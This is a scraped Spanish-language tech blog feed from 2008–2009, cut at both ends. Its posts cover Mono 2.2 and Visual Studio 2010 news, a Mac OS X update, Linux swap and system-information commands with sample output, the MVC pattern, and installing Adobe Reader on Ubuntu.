Alienware...! \n"<br /></pre><p></p></blockquote><p>Este lo corremos desde la consola con:</p><pre><blockquote>ruby hialien.rb</blockquote><br /></pre>Pues bien, ya tenemos Ruby y apache instaladon en linux, ademas de crear un archivo sencillo para ver como se ejecuta...<br /><br />Mas adelante veremos como instalar Rails, el cual nos ayudara a realizar websites de una manera facil, y cuando digo facil, es porque es facil :).<br /><br />SaludosIng. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-63258103457456912692009-01-30T17:02:00.000-08:002009-01-30T17:10:45.697-08:00Mono 2.2... listo.<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_dDRVOtKcUw4/SYOkv_0k-wI/AAAAAAAAAdQ/JMj6tUclsos/s1600-h/mono_thumb.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 105px; height: 117px;" src="http://1.bp.blogspot.com/_dDRVOtKcUw4/SYOkv_0k-wI/AAAAAAAAAdQ/JMj6tUclsos/s320/mono_thumb.png" alt="" id="BLOGGER_PHOTO_ID_5297258731210603266" border="0" /></a><span style="font-size:85%;">El pasado 13 de enero fue liberado la version estable de mono 2.2.<br />Algunas de las novedades y mejoras son las siguientes:<br /><br /></span><ul><li><span style="font-size:85%;">Una nueva clase llamada <span style="font-weight: bold;">Mono.CSharp.Evaluator</span> que permite a los desarrolladores embeber el compilador C# dentro de sus aplicaciones.</span></li><li><span style="font-size:85%;">Nueva shell interactiva para C#, el comando para llamarla es csharp</span></li><li><span style="font-size:85%;">200 bugs reportados en las windowforms han sido resueltos</span></li><li><span style="font-size:85%;">ASP.NET 3.5 SP1 ha sido implementado.</span></li></ul><span style="font-size:85%;">Para ver las notas de lanzamiento, vayan a este <a href="http://www.mono-project.com/Release_Notes_Mono_2.2">link</a>.<br />Tambien pueden descargar desde <a href="http://www.go-mono.com/mono-downloads/">aqui</a> Mono 2.2 para la plataforma que utilices (linux, mac, windows)<br /><br />Saludos...</span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-11269781787811406122009-01-10T14:18:00.001-08:002009-01-10T14:18:24.517-08:00Descargar windows 7 beta.<p> </p> <p><a href="http://lh5.ggpht.com/_dDRVOtKcUw4/SWkeq0UgUsI/AAAAAAAAAdA/YlozGRmG-uM/s1600-h/windows-7-logo%5B9%5D.jpg"><img title="windows-7-logo" style="border-right: 0px; border-top: 0px; display: block; float: none; margin-left: auto; border-left: 0px; margin-right: auto; border-bottom: 0px" height="199" alt="windows-7-logo" src="http://lh6.ggpht.com/_dDRVOtKcUw4/SWkern0KYfI/AAAAAAAAAdE/PNYM76HWgyQ/windows-7-logo_thumb%5B7%5D.jpg?imgmax=800" width="180" border="0" /></a> </p> <p>Links de descargar de Windows 7, recordando que es una versión Beta.</p> <p>Descargar <a href="http://download.microsoft.com/download/6/3/3/633118BD-6C3D-45A4-B985-F0FDFFE1B021/EN/7000.0.081212-1400_client_en-us_Ultimate-GB1CULFRE_EN_DVD.iso" target="_blank">Windows 7 32bits</a> (2,44GB)</p> <p>Descargar <a href="http://download.microsoft.com/download/6/3/3/633118BD-6C3D-45A4-B985-F0FDFFE1B021/EN/7000.0.081212-1400_client_en-us_Ultimate-GB1CULXFRE_EN_DVD.ISO" target="_blank">Windows 7 64bits</a> (3,15GB)</p> <p> </p> <p>Saludos…</p> Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-7343453574464383512008-12-15T19:01:00.000-08:002008-12-16T09:16:54.670-08:00Visual Studio 2010, Novedades presentadas en el PDC 2008<a href="http://1.bp.blogspot.com/_dDRVOtKcUw4/SUfib6sAz_I/AAAAAAAAAc0/qPlWTHUcPN0/s1600-h/Microsoft_NET%2520Logo.jpg"><img id="BLOGGER_PHOTO_ID_5280438057353400306" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 120px; CURSOR: hand; HEIGHT: 80px; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_dDRVOtKcUw4/SUfib6sAz_I/AAAAAAAAAc0/qPlWTHUcPN0/s320/Microsoft_NET%2520Logo.jpg" border="0" /></a><br /><p><span style="font-size:85%;">Un resumen respecto a las innovaciones a la plataforma de desarrollo .NET presentadas en el PDC.</span></p><span style="font-size:85%;"><br /><ul><br /><li>Puedes escribir aplicaciones que saquen provecho de Windows 7 utilizando Win32/C++ y Visual Studio 2010<br /></li><br /><li>Visual Studio 2010 incorpora soporte para desarrollo multi-core, de tal forma que podrás, por ejemplo, saber en qué core de tu equipo está corriendo un pedazo de código al depurar la aplicación. </li></ul><br /><p></span></p><br /><p><span style="font-size:85%;"><strong>Mejoras incorporadas en .NET Framework 3.5 SP1</strong> </span><br /></p><br /><ul><br /><li><span style="font-size:85%;">Mejoras a los gráficos. </span></li><br /><li><span style="font-size:85%;">Soporte para pixel shader! </span></li><br /><li><span style="font-size:85%;">Las aplicaciones .NET arrancan más rápido </span></li><br /><li><span style="font-size:85%;">Mejoras a Windows Presentation Foundation (WPF) </span></li><br /><li><span style="font-size:85%;">Mejoras a la experiencia de usuario al usar Click Once </span></li><br /><li><span style="font-size:85%;">Viene incorporado con Windows 7 </span></li><br /><li><span style="font-size:85%;">Windows Presentation Foundation<br /></span></li></ul><br /><p><span style="font-size:85%;"><strong>Esta semana se liberan nuevos controles para WPF: </strong></span></p><br /><ul><br /><li><span style="font-size:85%;">Ribbon. Dado que ahora Windows 7 incorpora al Ribbon de Office 2007 como parte integral, puedes usarlo en cualquiera de tus aplicaciones! </span></li><br /><li><span style="font-size:85%;">Datagrid (al fin!) </span></li><br /><li><span style="font-size:85%;">Calendar </span></li><br /><li><span style="font-size:85%;">DatePicker </span></li><br /><li><span style="font-size:85%;">Visual State Manager. El mismo que ya tenía Silverlight 2. </span></li><br /><li><span style="font-size:85%;">Jump Lists. Permiten agregar tareas contextualizadas a tu aplicación en el nuevo task bar. </span></li><br /><li><span style="font-size:85%;">Las aplicaciones WPF entienden las capacidades de multi-touch nativamente, sin cambios a tu código. </span></li><br /><li><span style="font-size:85%;">Una simpática aplicación de fotos, llamada Photo Suru, demuestra las capacidades de WPF en Windows </span><br /></li></ul><br /><div><span style="font-size:85%;"><strong>.Net Framework 4.0</strong> </span></div><br /><ul><br /><li><span style="font-size:85%;">Ahora puedes cargar tus aplicaciones de corran en un framework inferior a .NET 4.0 directamente en .NET 4.0, sin necesidad de recompilar. </span></li><br /><li><span style="font-size:85%;">Mejoras a la interoperabilidad entre código administrado y no administrado </span></li><br /><li><span style="font-size:85%;">Incorpora el Managed Extensibility Framework. Esta te permite extender las capacidades de una aplicación existente, según los puntos de extensibilidad definidos en la aplicación. </span></li></ul><br /><p><span style="font-size:85%;"><strong>Visual Studio 2010</strong> </span></p><br /><ul><br /><li><span style="font-size:85%;">El primer Community Technology Preview (CTP) estará disponible dentro de poco desde </span><a href="https://connect.microsoft.com/VisualStudio/content/content.aspx?ContentID=9790"><span style="font-size:85%;">acá</span></a><span style="font-size:85%;">. </span></li><br /><li><span style="font-size:85%;">El diseñador de WPF mejora considerablemente. </span></li><br /><li><span style="font-size:85%;">Estará completamente construido en WPF. </span></li><br /><li><span style="font-size:85%;">Posee soporte para multiples monitores. </span></li><br /><li><span style="font-size:85%;">Soporte mejorado para refactoring. </span></li><br /><li><span style="font-size:85%;">Mejoras a la visualización del código. </span></li><br /><li><span style="font-size:85%;">Mejoras al desarrollo orientado a pruebas. </span></li><br /><li><span style="font-size:85%;">Mejoras a la extensibilidad de VS 2010 con plugins. Una demo muy simpática mostró cómo mostrar </span><span style="font-size:85%;">informacion de bugs alojados en Team Foundation Server (TFS) directamente en el editor de código. </span></li><br /><li><span style="font-size:85%;">Mejoras al soporte de REST. </span></li><br /><li><span style="font-size:85%;">jQuery estará integrado a VS 2010. </span></li><br /><li><span style="font-size:85%;">ASP.NET MVC estará incorporado en VS 2010. </span></li><br /><li><span style="font-size:85%;">La API para caché distribuido recientemente anunciado estará integrado en VS 2010. </span></li><br /><li><span style="font-size:85%;">Soporte para múltiples versiones de web.config (para pruebas, staging, deployment, etc.). </span><br /></li></ul><br /><div><span style="font-size:85%;"></span></div><br /><div><span style="font-size:85%;"><strong>Silverlight 2.0</strong> </span></div><br /><ul><br /><li><span style="font-size:85%;">Ya está instalado en aproximadamente 100,000,000 de máquinas. </span></li><br /><li><span style="font-size:85%;">Sus capacidades de manejo de medios ya están siendo probadas con éxito en sitios como el de NBC, Olympics y NetFlix. </span></li><br /><li><span style="font-size:85%;">Nuevo Silverlight Toolkit gratuito. Incorpora nuevos controles como treeview, expander y charts!!! Descárgalo desde </span><a href="http://www.codeplex.com/Silverlight"><span style="font-size:85%;">acá</span></a><span style="font-size:85%;">. </span></li><br /><li><span style="font-size:85%;">Nuevo diseñador para Silverlight 2 en Visual Studio 2010, con soporte WYSIWYG, databinding y más. </span></li><br /><li><span style="font-size:85%;">Silverlight va a poder correr dentro o fuera del navegador.</span> </li></ul><p><span style="font-size:85%;">Saludos...</span></p>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-45088978329798086662008-12-15T14:06:00.000-08:002008-12-15T14:12:01.827-08:00Actualización 10.5.6 de Mac OS X<a href="http://2.bp.blogspot.com/_dDRVOtKcUw4/SUbV5m3DmZI/AAAAAAAAAcs/7eRn8AHJYe4/s1600-h/appleupdatediciembre.png"><img id="BLOGGER_PHOTO_ID_5280142798799214994" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 285px; CURSOR: hand; HEIGHT: 320px; TEXT-ALIGN: center" alt="" src="http://2.bp.blogspot.com/_dDRVOtKcUw4/SUbV5m3DmZI/AAAAAAAAAcs/7eRn8AHJYe4/s320/appleupdatediciembre.png" border="0" /></a> <div><span style="font-size:85%;"></span></div><div><span style="font-size:85%;">Para los usuarios y amantes de las Mac, llega la actualización 10.5.6 disponible en el apartado de "Actualización de Software" de tu Mac. </span></div><br /><p><span style="font-size:85%;">El fabricante ha hecho oficial los cambios que se ven afectados, y son los siguientes: </span><br /></p><ul><li><span style="font-size:85%;">Mejora las conexiones AirPort, incluida las mejoras en itinerancia sobre grandes redes inalámbricas sobre equipos basados en Intel. </span></li><br /><li><span style="font-size:85%;">Mejora la fiabilidad de sincronización de la libreta de direcciones con el iPhone y otros dispositivos y aplicaciones. </span></li><br /><li><span style="font-size:85%;">Incluye varias mejoras en el rendimiento en juegos. </span></li><br /><li><span style="font-size:85%;">Soluciona posibles errores gráficos con determinadas tarjetas ATI. </span></li><br /><li><span style="font-size:85%;">La sincronización con MobileMe es más rápida, solucionando los tiempos de sincronización de los contactos, calendarios y marcadores. </span></li><br /><li><span style="font-size:85%;">Mejora el servicio de archivos de Apple, especialmente cuando se hace uso de un directorio alojado en un servidor AFP. </span></li><br /><li><span style="font-size:85%;">Mejora la fiabilidad y rendimiento con las tarjetas 3G de AT&T. </span></li><br /><li><span style="font-size:85%;">Soluciona problemas con algunas impresoras USB de Brother y Canon. </span></li><br /><li><span style="font-size:85%;">Corrige el problema que provocaba que Time Machine no encontrara el volumen de almacenamiento. </span></li><br /><li><span style="font-size:85%;">Mejora la compatibilidad de Time Machine con Time Capsule. </span></li><br /><li><span style="font-size:85%;">Añade un apartado de TrackPad en el panel de preferencias. </span></li><br /><li><span style="font-size:85%;">Mejora el rendimiento del juego de ajedrez (¡por fin!)</span></li></ul><br /><p><span style="font-size:85%;">Visto en: <a href="http://es.engadget.com/2008/12/15/disponible-la-actualizacion-10-5-6-de-mac-os-x/">Genbeta</a></span></p>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-7511838542277935112008-12-13T09:39:00.000-08:002008-12-13T09:46:04.479-08:00Memoria SWAP en linux<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_dDRVOtKcUw4/SUP00gTcMnI/AAAAAAAAAck/ISbIXKqmTNM/s1600-h/memory.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 128px; height: 128px;" src="http://4.bp.blogspot.com/_dDRVOtKcUw4/SUP00gTcMnI/AAAAAAAAAck/ISbIXKqmTNM/s320/memory.png" alt="" id="BLOGGER_PHOTO_ID_5279332371070202482" border="0" /></a><br /><span style="font-size:85%;">Cuando tu computadora necesita correr aplicaciones que son mas pesados que tu capacidad de memoria física instalada, los sistemas operativos mas modernos usan una tecnología llamada swapping, en la cual trozos de memoria son temporalmente almacenados en el disco duro mientras que la otra data es movida hacia el espacio de la memoria física Aquí hay algunas técnicas que te pueden ayudar a administrar mejor el swapping en los sistemas Linux y obtener el mejor performance del subsistema swapping de Linux.<br /><br />Linux divide su memoria RAM en trozos de memoria llamados pages (paginas). Swapping es el proceso en el cual un page de memoria es copiado en el espacio del disco duro preconfigurado, llamado espacio o partición swap, para liberar ese page de memoria. El tamaño combinado de la memoria RAM y la partición swap es la cantidad memoria virtual disponible.<br /><br />Swapping es necesario por dos importantes razones. Primero, cuando el sistema necesita mas memoria que la RAM es disponible, el kernel intercambia las pages usadas y proporciona mas memoria a la aplicación (proceso) que lo necesita inmediatamente. Segundo, un significante números de pages usadas por una aplicación durante su fase de inicio puede ser solo usada para la inicialización y luego no usada otra vez. El sistema puede intercambiar aquellas pages y liberar la memoria para otra aplicación o incluso para la cache de disco.<br /><br />Como sea, swapping tiene una desventaja. Comparado a la memoria, el disco es muy lento. La velocidad de la memoria puede ser medida en nanosegundos, mientras que la del disco es medida en milisegundos, por eso acceder al disco puede ser diez veces mas lento que acceder a la memoria física.<br /><br />Linux tiene dos formas de intercambiar (swap) espacio:<br />La partición swap y el archivo swap. La partición swap es una sección independiente del disco duro usada únicamente para intercambio. ningún otro archivo puede residir ahí El archivo swap es un archivo especial en el fichero del sistema (filesystems) que reside entre tu sistema y los archivos de datos.<br />Para ver cuanto espacio de intercambio tienes, usa el comando: swapon -s<br />Tendras una salida parecida a esta (dependiendo tu equipo):<br /><blockquote><br />agentdavid@Alienware:~$ swapon -s<br />Filename Type Size Used Priority<br />/dev/sda6 partition 497972 0 -1</blockquote><br /><span style="font-weight: bold; color: rgb(0, 0, 153); font-style: italic;"> <span style="color: rgb(51, 51, 255);"></span></span><br />Cada linea lista un espacio swap diferente que esta siendo usado por el sistema. Aquí el campo Tipo (Type) indica que este espacio swap es una partición en vez de un archivo y el campo Filename muestra que esta en el disco sda4. El tamaño (Size) esta mostrado en kilobytes, y el campo Used muestra cuantos kilobytes de espacio swap esta siendo usado. El campo Priority le indica a Linux cual es el espacio que debe ser usado primero. Una de las grandes ventajas del swapping en subsistemas Linux es que si montas dos o mas espacios swap (de preferencia en dos dispositivos diferentes) con la misma prioridad, Linux intercalara su actividad de swapping entre ellos, lo cual puede incrementar la performance del swap.</span><br /><span style="font-size:85%;"><br />Actualmente las distros basadas en linux ya traen una interfaz durante la instalacion, para asignar la memoria swap, e incluso linux puede asignarlo automaticamente.<br />Pero siempre es importante entender y conocer como manualmente asignar la medida correcta de swap en nuestro equipo.<br />En un post futuro platicare acerca de este tema.</span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-78628931946413249632008-12-13T09:14:00.000-08:002008-12-13T09:37:39.505-08:00Informacion del Sistema en Linux<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_dDRVOtKcUw4/SUPxWGqcZgI/AAAAAAAAAcc/zpVStuUHUU4/s1600-h/terminal.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 128px; height: 128px;" src="http://2.bp.blogspot.com/_dDRVOtKcUw4/SUPxWGqcZgI/AAAAAAAAAcc/zpVStuUHUU4/s320/terminal.png" alt="" id="BLOGGER_PHOTO_ID_5279328550256403970" border="0" /></a><span style="font-size:85%;">Sistemas basados en GNU/Linux (Al igual que sus parientes basados en Unix como BSD o los de Macinstosh) conservan la tradición de tener multitud de comandos que permiten conocer el estado del sistema. Es decir, cada uno da pequeñas piezas de información sobre multitud de partes diferentes de lo que esta sucediendo en tu sistema Linux. Algunos de estos comandos pueden ser ejecutados por cualquier usuario y otros varios solo por root. En esta ocasión te presento, sin ningún orden en específico, una recopilación de los más útiles y usados de estos comandos.<br /></span><ul><li><h2><span style="font-size:85%;">uname</span><span style="font-size:85%;"><br /><span style="font-weight: normal;">Imprime información del sistema<br /><blockquote>agentdavid@Alienware:~$ uname -r<br />2.6.27-10-generic<br />agentdavid@Alienware:~$ uname -a<br />Linux Alienware 2.6.27-10-generic #1 SMP Fri Nov 21 12:00:22 UTC 2008 i686 GNU/Linux<br />agentdavid@Alienware:~$ </blockquote></span></span></h2></li><li><span style="font-size:85%;"><span style="font-weight: normal;"><span style="font-weight: bold;">fdisk</span><br /></span>Permite manipular/crear particiones en Linux, pero tiene una interesante opción de consulta, <em>-l</em>:</span><br /><h2><span style="font-size:85%;"><span style="font-weight: normal;"></span></span></h2><blockquote><h2><span style="font-size:85%;"><span style="font-weight: normal;">agentdavid@Alienware:~$</span></span><span style=";font-family:monospace;font-size:85%;" > </span><span style="font-weight: normal;font-size:85%;" >fdisk -l</span><span style="font-size:85%;"><br /></span></h2> <pre><span style="font-size:85%;">Disk /dev/sda: 160.0 GB, 160041885696 bytes<br />255 heads, 63 sectors/track, 19457 cylinders<br />Units = cylinders of 16065 * 512 = 8225280 bytes<br />Disk identifier: 0x0002ecbc<br /><br />Device Boot Start End Blocks Id System<br />/dev/sda1 * 1 63 506016 83 Linux<br />/dev/sda2 64 10261 81915435 83 Linux<br />/dev/sda3 10262 18929 69625710 83 Linux<br />/dev/sda4 18930 19457 4241160 5 Extended<br />/dev/sda5 18930 19457 4241128+ 82 Linux swap / Solaris<br /><br />Disk /dev/sdb: 40.0 GB, 40007761920 bytes<br />255 heads, 63 sectors/track, 4864 cylinders<br />Units = cylinders of 16065 * 512 = 8225280 bytes<br />Disk identifier: 0x000063b0<br /><br />Device Boot Start End Blocks Id System<br />/dev/sdb1 1 4863 39062016 c W95 FAT32 (LBA)</span></pre></blockquote><pre><br /></pre><span style="font-size:85%;">Podemos observar en este listado varios aspectos muy útiles, primero que tenemos dos dispositivos conectados al sistema, /dev/sda y /dev/sdb, los dos son discos duros, el primero es el propio del equipo y tiene varias particiones, incluso determinamos cual es la partición de arranque que es /dev/sda1. El segundo dispositivo contiene una partición Windows como podemos ver en la columna 'System' del último renglón 'W95 FAT32', que indiscutiblemente es de Windows, no es una memoria flash por el tamaño (Disk /dev/sdb: 40.0 GB) mostrado. Asi que se trata de un disco duro externo.<br /><br /></span></li><li><span style="font-size:85%;"><span style="font-weight: bold;">free</span><br />¿Sientes tu sistema demasiado lento?, comienza checando con <code>free</code> que despliega como se encuentra de saturada la memoria física RAM y la de la partición SWAP.</span><br /><blockquote><span style="font-size:85%;"><br /> total used free shared buffers cached<br />Mem: 2063268 966572 1096696 0 27836 509908<br />-/+ buffers/cache: 428828 1634440<br />Swap: 497972 0 497972<br />agentdavid@Alienware:~$</span></blockquote><span style="font-size:85%;">La línea 'Mem:' es la memoría fisica RAM, que en este ejemplo tiene 2 GB de los cuáles se están usando 989 megas, bastante razonable todavía, la línea 'Swap:' muestra la partición de swap (lo que en Windows se le conoce como archivo de intercambio), que generalmente se establece al doble de la RAM y que idealmente no debe estar usada, como el ejemplo lo muestra. Cuando tu línea Swap muestra demasiado uso y casi nada libre, tienes serios problemas de rendimiento, considera entonces en incrementar tu RAM. Prueba con <code>free -mt</code> para ver una línea más al final con la suma de las dos Mem + Swap.<br /><br /></span></li><li><span style="font-size:85%;"><span style="font-weight: bold;">lsmod</span><br />Muestra el status de los módulos del kernel actualmente cargados en el sistema.</span><br /><span style="font-size:85%;"><blockquote><br />Module Size Used by<br />ipv6 263972 10<br />af_packet 25728 2<br />i915 38144 2<br />drm 86056 3 i915<br />binfmt_misc 16904 1<br />ppdev 15620 0<br />container 11520 0<br />pci_slot 12552 0<br />sbs 19464 0<br />sbshc 13440 1 sbs<br />wmi 14504 0<br />acpi_cpufreq 15500 0<br />cpufreq_powersave 9856 2<br />cpufreq_ondemand 14988 0<br /><br />.......... (La lista aun sigue...)</blockquote></span></li><li><span style="font-size:85%;"><span style="font-weight: bold;">lspci</span><br />Lista los dispositivos PCI del sistema.</span><br /><blockquote><span style="font-size:85%;"><br />00:00.0 Host bridge: Intel Corporation Mobile 945GM/PM/GMS, 943/940GML and 945GT Express Memory Controller Hub (rev 03)<br />00:02.0 VGA compatible controller: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller (rev 03)<br />00:02.1 Display controller: Intel Corporation Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller (rev 03)<br />00:1b.0 Audio device: Intel Corporation 82801G (ICH7 Family) High Definition Audio Controller (rev 02)<br />00:1c.0 PCI bridge: Intel Corporation 82801G (ICH7 Family) PCI Express Port 1 (rev 02)<br />00:1c.1 PCI bridge: Intel Corporation 82801G (ICH7 Family) PCI Express Port 2 (rev 02)<br />00:1d.0 USB Controller: Intel Corporation 82801G (ICH7 Family) USB UHCI Controller #1 (rev 02)<br />00:1d.1 USB Controller: Intel Corporation 82801G (ICH7 Family) USB UHCI Controller #2 (rev 02)<br />00:1d.2 USB Controller: Intel Corporation 82801G (ICH7 Family) USB UHCI Controller #3 (rev 02)<br />00:1d.3 USB Controller: Intel Corporation 82801G (ICH7 Family) USB UHCI Controller #4 (rev 02)<br />00:1d.7 USB Controller: Intel Corporation 82801G (ICH7 Family) USB2 EHCI Controller (rev 02)<br />00:1e.0 PCI bridge: Intel Corporation 82801 Mobile PCI Bridge (rev e2)<br />00:1f.0 ISA bridge: Intel Corporation 82801GBM (ICH7-M) LPC Interface Bridge (rev 02)<br />00:1f.1 IDE interface: Intel Corporation 82801G (ICH7 Family) IDE Controller (rev 02)<br />00:1f.2 IDE interface: Intel Corporation 82801GBM/GHM (ICH7 Family) SATA IDE Controller (rev 02)<br />00:1f.3 SMBus: Intel Corporation 82801G (ICH7 Family) SMBus Controller (rev 02)<br />02:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG [Golan] Network Connection (rev 02)<br />05:07.0 CardBus bridge: Texas Instruments PCIxx12 Cardbus Controller<br />05:07.1 FireWire (IEEE 1394): Texas Instruments PCIxx12 OHCI Compliant IEEE 1394 Host Controller<br />05:07.2 Mass storage controller: Texas Instruments 5-in-1 Multimedia Card Reader (SD/MMC/MS/MS PRO/xD)<br />05:07.3 SD Host controller: Texas Instruments PCIxx12 SDA Standard Compliant SD Host Controller<br />05:0b.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8169 Gigabit Ethernet (rev 10)</span></blockquote></li><li><span style="font-size:85%;"><span style="font-weight: bold;">lsusb</span><br />Lista los dispositivos usb del sistema.</span><br /><blockquote><span style="font-size:85%;"><br />Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub<br />Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub<br />Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub<br />Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub<br />Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub</span></blockquote></li><li><span style="font-size:85%;"><span style="font-weight: bold;">df<br /></span></span><span style="font-size:85%;">Reporta el uso de espacio en los discos duros.</span><span style="font-size:85%;"><span style="font-weight: bold;"></span><br /><blockquote><br />agentdavid@Alienware:~$ df<br />S.ficheros Bloques de 1K Usado Dispon Uso% Montado en<br />/dev/sda5 9843276 4081848 5261408 44% /<br />tmpfs 1031632 0 1031632 0% /lib/init/rw<br />varrun 1031632 108 1031524 1% /var/run<br />varlock 1031632 0 1031632 0% /var/lock<br />udev 1031632 2756 1028876 1% /dev<br />tmpfs 1031632 232 1031400 1% /dev/shm<br />lrm 1031632 2000 1029632 1% /lib/modules/2.6.27-10-generic/volatile<br />/dev/sda1 67648684 34771872 32876812 52% /media/Area51</blockquote></span></li></ul><span style="font-size:85%;">Saludos...<br /></span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-83726747255518024712008-11-30T11:53:00.000-08:002008-11-30T12:01:40.783-08:00Acerca de la arquitectura MVC<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dDRVOtKcUw4/STLw5jlcj_I/AAAAAAAAAcU/1EiiJu3U850/s1600-h/ash-mvc-architecture_thumb.gif"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 274px;" src="http://3.bp.blogspot.com/_dDRVOtKcUw4/STLw5jlcj_I/AAAAAAAAAcU/1EiiJu3U850/s320/ash-mvc-architecture_thumb.gif" alt="" id="BLOGGER_PHOTO_ID_5274542985199783922" border="0" /></a><br /><span style="font-size:85%;">El Modelo Vista Controlador (MVC) es un patrón de arquitectura de software que separa los datos de una aplicación, la interfaz de usuario, y la lógica de control en tres componentes distintos.<br />El patrón MVC se ve frecuentemente en aplicaciones web, donde la <span style="font-weight: bold;">vista</span> es la página HTML y el código que provee de datos dinámicos a la página; el <span style="font-weight: bold;">modelo</span> es el Sistema de Gestión de Base de Datos y la Lógica de negocio; y el <span style="font-weight: bold;">controlador</span> es el responsable de recibir los eventos de entrada desde la vista.<br /><br />pero veamoslo mas a detalle:<br /><br /></span><ul><li><span style="font-size:85%;"><span style="font-weight: bold;">Modelo</span>: Esta es la representación específica de la información con la cual el sistema opera. La lógica de datos asegura la integridad de estos y permite derivar nuevos datos; por ejemplo, no permitiendo comprar un número de unidades negativo, calculando si hoy es el cumpleaños del usuario o los totales, impuestos o importes en un carrito de la compra. </span></li></ul><ul><li><span style="font-size:85%;"><span style="font-weight: bold;">Vista: </span>Este presenta el modelo en un formato adecuado para interactuar, usualmente la interfaz de usuario. </span></li></ul><ul><li><span style="font-size:85%;"><span style="font-weight: bold;">Controlador:</span> Este responde a eventos, usualmente acciones del usuario e invoca cambios en el modelo y probablemente en la vista. </span></li></ul><span style="font-size:85%;"><br />Muchos sistemas informáticos utilizan un Sistema de Gestión de Base de Datos para gestionar los datos. En MVC corresponde al modelo.<br /><br />Aunque se pueden encontrar diferentes implementaciones de MVC, el flujo que sigue el control generalmente es el siguiente:<br /><br /> 1. El usuario interactúa con la interfaz de usuario de alguna forma (por ejemplo, el usuario pulsa un botón, enlace)<br /><br /> 2. El controlador recibe (por parte de los objetos de la interfaz-vista) la notificación de la acción solicitada por el usuario. El controlador gestiona el evento que llega, frecuentemente a través de un gestor de eventos (handler) o callback.<br /><br /> 3. El controlador accede al modelo, actualizándolo, posiblemente modificándolo de forma adecuada a la acción solicitada por el usuario (por ejemplo, el controlador actualiza el carro de la compra del usuario). Los controladores complejos están a menudo estructurados usando un patrón de comando que encapsula las acciones y simplifica su extensión.<br /><br /> 4. El controlador delega a los objetos de la vista la tarea de desplegar la interfaz de usuario. La vista obtiene sus datos del modelo para generar la interfaz apropiada para el usuario donde se refleja los cambios en el modelo (por ejemplo, produce un listado del contenido del carro de la compra). El modelo no debe tener conocimiento directo sobre la vista. Sin embargo, el patrón de observador puede ser utilizado para proveer cierta indirección entre el modelo y la vista, permitiendo al modelo notificar a los interesados de cualquier cambio. Un objeto vista puede registrarse con el modelo y esperar a los cambios, pero aun así el modelo en sí mismo sigue sin saber nada de la vista. El controlador no pasa objetos de dominio (el modelo) a la vista aunque puede dar la orden a la vista para que se actualice. Nota: En algunas implementaciones la vista no tiene acceso directo al modelo, dejando que el controlador envíe los datos del modelo a la vista.<br /><br /> 5. La interfaz de usuario espera nuevas interacciones del usuario, comenzando el ciclo nuevamente.<br /><br />Saludos...<br /></span>Ing. David Zapatahttp://www.blogger.com/profile/03664554816341924700noreply@blogger.com0tag:blogger.com,1999:blog-4607479262521046792.post-36114132133284162802008-11-30T11:35:00.000-08:002008-11-30T11:43:58.156-08:00Instalar Adobe Reader 8.1.3 en Ubuntu 8.10<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_dDRVOtKcUw4/STLsfrfnbmI/AAAAAAAAAcM/-JtUsXAEH2I/s1600-h/adobereaderlogo.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 128px; height: 128px;" src="http://2.bp.blogspot.com/_dDRVOtKcUw4/STLsfrfnbmI/AAAAAAAAAcM/-JtUsXAEH2I/s320/adobereaderlogo.jpg" alt="" id="BLOGGER_PHOTO_ID_5274538142599704162" border="0" /></a><br /><span style="font-size:85%;">En linux existen excelentes visores de documentos PDF, pero si eres de los que quieres disfrutar de la lectura de ficheros PDF, utilizando este clasico programa, ahora es muy sencillo, ya que existe en extencion .DEB:<br /><br /> <blockquote><a href="http://ardownload.adobe.com/pub/adobe/reader/unix/8.x/8.1.3/esp/AdobeReader_esp-8.1.3-1.i386.deb">descargar Adobe con extension .DEB</a></blockquote><a href="http://ardownload.adobe.com/pub/adobe/reader/unix/8.x/8.1.3/esp/AdobeReader_esp-8.1.3-1.i386.deb"></a><br /><br />Encontraras el programa en el menu:<br /><br /><blockquote><span style="font-weight: bold;">Aplicaciones</span> > <span style="font-weight: bold;">Oficina.</span></blockquote><br />Si no usas Ubuntu o Debian, puedes probar a descargar una version para tu distribucion en :<br /><br /> <blockquote><a href="http://www.adobe.com/products/acrobat/readstep2_allversions.html">Ver lista de descargas Adobe reader para otras 